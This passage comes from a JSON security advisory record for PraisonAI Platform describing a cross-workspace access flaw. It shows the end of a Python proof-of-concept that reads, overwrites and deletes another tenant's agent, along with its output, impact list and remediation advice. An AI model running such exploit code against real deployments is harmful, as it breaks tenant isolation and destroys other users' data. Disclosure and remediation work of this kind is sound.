        f\"instructions={attacker_read.json().get(\u0027instructions\u0027)}\"\n        )\n        print(\n            \"[poc] attacker_update_status=\"\n            f\"{attacker_update.status_code} \"\n            f\"instructions={attacker_update.json().get(\u0027instructions\u0027)}\"\n        )\n        print(\n            \"[poc] victim_read_after_update_status=\"\n            f\"{victim_read_after_update.status_code} \"\n            f\"instructions={victim_read_after_update.json().get(\u0027instructions\u0027)}\"\n        )\n        print(f\"[poc] attacker_delete_status={attacker_delete.status_code}\")\n        print(f\"[poc] victim_read_after_delete_status={victim_read_after_delete.status_code}\")\n\n        if attacker_read.status_code != 200:\n            raise SystemExit(\"[poc] MISS: attacker could not read victim agent\")\n\n        if attacker_read.json().get(\"workspace_id\") != victim_workspace_id:\n            raise SystemExit(\"[poc] MISS: read response was not the victim workspace agent\")\n\n        if attacker_update.status_code != 200 or attacker_update.json().get(\"instructions\") != \"pwned-by-attacker\":\n            raise SystemExit(\"[poc] MISS: attacker could not update victim agent\")\n\n        if victim_read_after_update.status_code != 200 or victim_read_after_update.json().get(\"instructions\") != \"pwned-by-attacker\":\n            raise SystemExit(\"[poc] MISS: victim did not observe attacker-controlled update\")\n\n        if attacker_delete.status_code != 204:\n            raise SystemExit(\"[poc] MISS: attacker could not delete victim agent\")\n\n        if victim_read_after_delete.status_code != 404:\n            raise SystemExit(\"[poc] MISS: victim agent still existed after attacker delete\")\n\n        print(\"[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent\")\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(asyncio.run(main()))\n```\n\nObserved result:\n\n```text\n[poc] attacker_workspace=3f7c...\n[poc] victim_workspace=be1d...\n[poc] victim_agent_id=7f04...\n[poc] attacker_read_status=200 workspace_id=be1d... instructions=secret instructions\n[poc] attacker_update_status=200 instructions=pwned-by-attacker\n[poc] victim_read_after_update_status=200 instructions=pwned-by-attacker\n[poc] attacker_delete_status=204\n[poc] victim_read_after_delete_status=404\n[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent\n```\n\nThis confirms that an authenticated user from one workspace can read, modify, and delete an object belonging to another workspace by using the victim object\u0027s UUID through the attacker\u0027s own workspace-scoped route.\n\n### Impact\n\nAny authenticated workspace member who knows or obtains object UUIDs from another workspace may be able to:\n\n- read other workspaces\u0027 agents;\n- read agent instructions and metadata;\n- modify victim agents;\n- delete victim agents;\n- potentially read, modify, or delete projects and issues that follow the same object lookup pattern;\n- enumerate comments for issues by raw `issue_id`;\n- corrupt activity data, project state, and issue state across workspace boundaries.\n\nThis breaks the platform\u0027s tenant-isolation boundary. The impact is especially serious in multi-tenant deployments where separate users or teams rely on workspaces as an authorization boundary.\n\nThe demonstrated PoC confirms read, update, and delete access against agents. The same root-cause pattern appears in other workspace-scoped object routes and should be audited across the platform.\n\n### Suggested remediation\n\nRecommended fixes:\n\n1. Require every object fetch, update, and delete method to take both `workspace_id` and `object_id`.\n\n2. Enforce object ownership in the service layer. For example:\n\n```python\nagent = await self._session.get(Agent, agent_id)\nif not agent or agent.workspace_id != workspace_id:\n    return None\n```\n\n3. Avoid service methods that resolve workspace-owned objects by global UUID alone.\n\n4. Apply the same object-level ownership checks to agents, projects, issues, comments, dependencies, and any other workspace-owned resources.\n\n5. For comment and dependency helpers that pivot from raw `issue_id`, validate that the parent issue belongs to the authorized workspace before returning or modifying child records.\n\n6. Add regression tests for negative cross-workspace access cases, including:\n\n```text\nworkspace A member cannot read workspace B object\nworkspace A member cannot update workspace B object\nworkspace A member cannot delete workspace B object\nworkspace A member cannot list comments for workspace B issue\n```\n\n7. Return `404 Not Found` or `403 Forbidden` consistently when an object does not belong to the authorized workspace.\n\n### Security boundary\n\nThis report concerns a workspace tenant-isolation failure. The caller is authenticated, but authentication alone is insufficient. The server must also verify that the requested object belongs to the workspace for which the caller has authorization.",
  "id": "PYSEC-2026-2930",
  "modified": "2026-07-13T16:05:37.804154Z",
  "published": "2026-07-13T15:35:22.265928Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonai-platform"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6h6v-6m7w-7vxx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47399"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Platform workspace-scoped routes allow cross-workspace object access by global object ID"
}